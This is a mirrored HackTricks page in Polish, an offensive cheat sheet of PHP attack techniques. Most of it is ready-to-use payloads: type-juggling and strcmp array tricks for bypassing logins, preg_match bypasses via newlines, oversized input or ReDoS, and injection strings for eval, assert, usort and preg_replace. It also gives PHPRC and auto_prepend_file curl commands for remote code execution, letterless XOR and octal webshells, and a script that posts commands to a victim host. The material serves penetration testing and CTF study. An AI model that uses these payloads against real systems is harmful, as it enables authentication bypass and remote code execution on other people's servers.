mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-08 11:18:52 +00:00
422 lines
23 KiB
Markdown
422 lines
23 KiB
Markdown
# Sztuczki w PHP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
|
|
|
</details>
|
|
|
|
## Powszechne lokalizacje plików cookies:
|
|
|
|
To również dotyczy plików cookies phpMyAdmin.
|
|
|
|
Cookies:
|
|
```
|
|
PHPSESSID
|
|
phpMyAdmin
|
|
```
|
|
Lokalizacje:
|
|
```
|
|
/var/lib/php/sessions
|
|
/var/lib/php5/
|
|
/tmp/
|
|
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|
```
|
|
## Omijanie porównań w PHP
|
|
|
|
### Luźne porównania/Type Juggling ( == )
|
|
|
|
Jeśli w PHP używane jest `==`, mogą wystąpić przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, czy typ porównywanych danych jest taki sam, musisz użyć `===`.
|
|
|
|
Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
|
|
|
![](<../../../.gitbook/assets/image (564).png>)
|
|
|
|
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
|
|
|
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
|
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
|
|
* `"0e3264578" == 0 --> True` Ciąg znaków rozpoczynający się od "0e" i poprzedzony czymkolwiek będzie równy 0
|
|
* `"0X3264578" == 0X --> True` Ciąg znaków rozpoczynający się od "0" i poprzedzony dowolną literą (X może być dowolną literą) oraz poprzedzony czymkolwiek będzie równy 0
|
|
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" i pewne treści, które są haszowane i porównywane do niego. Dlatego jeśli możesz podać wartość, która spowoduje utworzenie hasha zaczynającego się od "0e" i bez żadnej litery, możesz ominąć porównanie. Możesz znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
|
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
|
|
|
|
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
|
|
|
### **in\_array()**
|
|
|
|
**Type Juggling** również wpływa na funkcję `in_array()` domyślnie (musisz ustawić na true trzeci argument, aby dokonać ścisłego porównania):
|
|
```php
|
|
$values = array("apple","orange","pear","grape");
|
|
var_dump(in_array(0, $values));
|
|
//True
|
|
var_dump(in_array(0, $values, true));
|
|
//False
|
|
```
|
|
### strcmp()/strcasecmp()
|
|
|
|
Jeśli ta funkcja jest używana do **jakiejkolwiek weryfikacji uwierzytelniania** (takiej jak sprawdzanie hasła) i użytkownik kontroluje jedną stronę porównania, może wysłać pusty tablicę zamiast ciągu znaków jako wartość hasła (`https://example.com/login.php/?username=admin&password[]=`) i ominąć tę weryfikację:
|
|
```php
|
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
```
|
|
### Surowe typy rzutowania
|
|
|
|
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na **typowe rzutowanie**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
|
|
```php
|
|
(int) "1abc" === (int) "1xyz" //This will be true
|
|
```
|
|
### preg\_match(/^.\*/)
|
|
|
|
**`preg_match()`** może być używane do **walidacji danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wprowadzanych przez użytkownika** i jeśli nie, kod może kontynuować swoje wykonanie).
|
|
|
|
#### Ominięcie nowej linii
|
|
|
|
Jednakże, gdy ograniczamy początek wyrażenia regularnego, `preg_match()` **sprawdza tylko pierwszą linię danych wprowadzanych przez użytkownika**, więc jeśli w jakiś sposób można **przesłać** dane wejściowe w **kilku liniach**, można ominięć tę kontrolę. Przykład:
|
|
```php
|
|
$myinput="aaaaaaa
|
|
11111111"; //Notice the new line
|
|
echo preg_match("/1/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/1.*$/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/^.*1/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
echo preg_match("/^.*1.*$/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
```
|
|
Aby ominąć tę kontrolę, możesz **wysłać wartość z zakodowanymi znakami nowej linii** (`%0A`) lub jeśli możesz wysłać **dane JSON**, wyślij je w **kilku liniach**:
|
|
```php
|
|
{
|
|
"cmd": "cat /etc/passwd"
|
|
}
|
|
```
|
|
Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
|
|
|
#### **Bypass błędu długości**
|
|
|
|
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
|
|
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
|
```bash
|
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|
```
|
|
#### Przejście przez ReDoS
|
|
|
|
Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez użycie dużej liczby wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
|
|
|
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
|
|
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu `{system(<bardzozła_komenda>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
|
|
|
|
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", co jak [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) mówi, domyślnie wynosi 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
|
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
|
|
```python
|
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
|
```
|
|
### Typowanie dynamiczne dla zaciemniania PHP
|
|
```php
|
|
$obfs = "1"; //string "1"
|
|
$obfs++; //int 2
|
|
$obfs += 0.2; //float 2.2
|
|
$obfs = 1 + "7 IGNORE"; //int 8
|
|
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
|
|
$obfs = 3+2 * (TRUE + TRUE); //int 7
|
|
$obfs .= ""; //string "7"
|
|
$obfs += ""; //int 7
|
|
```
|
|
## Wykonaj Po Przekierowaniu (EAR)
|
|
|
|
Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
|
```php
|
|
<?php
|
|
// In this page the page will be read and the content appended to the body of
|
|
// the redirect response
|
|
$page = $_GET['page'];
|
|
header('Location: /index.php?page=default.html');
|
|
readfile($page);
|
|
?>
|
|
```
|
|
## Wykorzystanie Traversal ścieżki i włączenie pliku
|
|
|
|
Sprawdź:
|
|
|
|
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
|
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
|
{% endcontent-ref %}
|
|
|
|
## Więcej sztuczek
|
|
|
|
* **register\_globals**: W **PHP < 4.1.1.1** lub w przypadku niewłaściwej konfiguracji, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych, takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
|
* **Ciasteczka PHPSESSION** z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.
|
|
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą ścieżce 2).
|
|
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
|
|
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
|
|
|
|
### password\_hash/password\_verify
|
|
|
|
Te funkcje są zazwyczaj używane w PHP do **generowania skrótów z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu ze skrótem.\
|
|
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Obecnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostaną tylko pierwsze 72B:
|
|
```php
|
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
False
|
|
|
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
True
|
|
```
|
|
### Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP
|
|
|
|
Jeśli **strona PHP drukuje błędy i zwraca pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci pewne **treści wystarczająco długie**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer wyrzucił błąd.\
|
|
W następującym scenariuszu **atakujący sprawił, że serwer zwrócił duże błędy**, i jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje nagłówka, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
|
|
|
|
![](<../../../.gitbook/assets/image (1082).png>)
|
|
|
|
## Wykonanie kodu
|
|
|
|
**system("ls");**\
|
|
**\`ls\`;**\
|
|
**shell\_exec("ls");**
|
|
|
|
[Sprawdź to dla bardziej przydatnych funkcji PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
|
|
|
### **RCE za pomocą** **preg\_replace()**
|
|
```php
|
|
preg_replace(pattern,replace,base)
|
|
preg_replace("/a/e","phpinfo()","whatever")
|
|
```
|
|
Aby wykonać kod w argumencie "replace", wymagane jest co najmniej jedno dopasowanie.\
|
|
Ta opcja preg\_replace została **przestarzała od wersji PHP 5.5.0.**
|
|
|
|
### **RCE za pomocą Eval()**
|
|
```
|
|
'.system('uname -a'); $dummy='
|
|
'.system('uname -a');#
|
|
'.system('uname -a');//
|
|
'.phpinfo().'
|
|
<?php phpinfo(); ?>
|
|
```
|
|
### **RCE za pomocą Assert()**
|
|
|
|
Ta funkcja w php pozwala ci **wykonać kod napisany w postaci stringa**, aby **zwrócić true lub false** (i w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika zostanie wstawiona w środku stringa. Na przykład:\
|
|
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz:
|
|
```
|
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
|
```
|
|
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie to **naprawić**. Możesz użyć operacji logicznych, takich jak "**and" lub "%26%26" lub "|"**. Należy zauważyć, że "or", "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz payload nie zostanie wykonany.
|
|
|
|
**Inną opcją** jest dodanie do ciągu znaków wykonania polecenia: `'.highlight_file('.passwd').'`
|
|
|
|
**Inną opcją** (jeśli masz dostęp do kodu źródłowego) jest zmodyfikowanie pewnej zmiennej w celu zmiany wykonania: `$file = "hola"`
|
|
|
|
### **RCE za pomocą usort()**
|
|
|
|
Ta funkcja służy do sortowania tablicy elementów za pomocą określonej funkcji.\
|
|
Aby nadużyć tej funkcji:
|
|
```php
|
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
|
VALUE: );phpinfo();#
|
|
|
|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
|
|
}?>
|
|
VALUE: );}[PHP CODE];#
|
|
|
|
<?php
|
|
function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
|
|
```
|
|
Możesz również użyć **//** aby skomentować resztę kodu.
|
|
|
|
Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
|
|
|
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
|
|
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to poprawne.
|
|
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
|
|
|
|
### **RCE za pomocą .httaccess**
|
|
|
|
Jeśli możesz **załadować** plik **.htaccess**, możesz **skonfigurować** kilka rzeczy, a nawet wykonać kod (konfigurując pliki z rozszerzeniem .htaccess do **wykonywania**).
|
|
|
|
Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul/htshells)
|
|
|
|
### RCE za pomocą zmiennych środowiskowych
|
|
|
|
Jeśli znajdziesz podatność, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
|
|
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
|
|
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
|
1. Wgraj plik PHP zawierający nasz kod powłoki
|
|
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
|
3. Ustaw zmienną `PHPRC` na plik wgrany w kroku 2.
|
|
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
|
- **PHPRC** - kolejna opcja
|
|
- Jeśli **nie możesz wgrywać plików**, w FreeBSD możesz użyć "pliku" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
- Technika [**z tego raportu**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
|
|
|
## Analiza statyczna PHP
|
|
|
|
Sprawdź, czy możesz wstawić kod w wywołaniach tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
|
|
```
|
|
Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w `/etc/php5/apache2/php.ini`, dodając `display_errors = On` i zrestartować apache: `sudo systemctl restart apache2`
|
|
|
|
### Deobfuskacja kodu PHP
|
|
|
|
Możesz użyć **strony internetowej** [**www.unphp.net**](http://www.unphp.net) **do deobfuskacji kodu PHP.**
|
|
|
|
## Owińki i protokoły PHP
|
|
|
|
Owińki i protokoły PHP mogą pozwolić Ci **obejść zabezpieczenia zapisu i odczytu** w systemie i go skompromitować. Aby uzyskać [**więcej informacji, sprawdź tę stronę**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
|
|
|
## Xdebug nieuwierzytelniona RCE
|
|
|
|
Jeśli zobaczysz, że **Xdebug** jest **włączony** w wyniku `phpconfig()`, powinieneś spróbować uzyskać RCE za pomocą [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
|
|
|
## Zmienne zmiennych
|
|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
|
|
## Wykorzystywanie RCE poprzez nowe $\_GET\["a"]\($\_GET\["b"])
|
|
|
|
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następną stronę, aby dowiedzieć się jak:
|
|
|
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Wykonanie PHP bez liter
|
|
|
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
|
|
|
### Użycie liczby ósemkowej
|
|
```php
|
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
|
```
|
|
### **XOR**
|
|
```php
|
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
|
$___=$__; #Could be not needed inside eval
|
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|
```
|
|
### XOR łatwy kod powłoki
|
|
|
|
Zgodnie z [**tym opisem**](https://mgp25.com/ctf/Web-challenge/), można wygenerować łatwy kod powłoki w ten sposób:
|
|
```php
|
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|
|
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
|
```
|
|
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując tę ładunku, aby wykonać dowolny kod PHP:
|
|
```
|
|
POST: /action.php?_=system&__=cat+flag.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
|
```
|
|
Dla bardziej szczegółowego wyjaśnienia sprawdź [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
|
|
|
|
### Kod powłoki XOR (wewnątrz eval)
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
if [[ -z $1 ]]; then
|
|
echo "USAGE: $0 CMD"
|
|
exit
|
|
fi
|
|
|
|
CMD=$1
|
|
CODE="\$_='\
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
|
```
|
|
### Podobne do Perla
|
|
```php
|
|
<?php
|
|
$_=[];
|
|
$_=@"$_"; // $_='Array';
|
|
$_=$_['!'=='@']; // $_=$_[0];
|
|
$___=$_; // A
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
|
|
$___.=$__; // S
|
|
$___.=$__; // S
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++; // E
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$___.=$__;
|
|
|
|
$____='_';
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$____.=$__;
|
|
|
|
$_=$$____;
|
|
$___($_[_]); // ASSERT($_POST[_]);
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|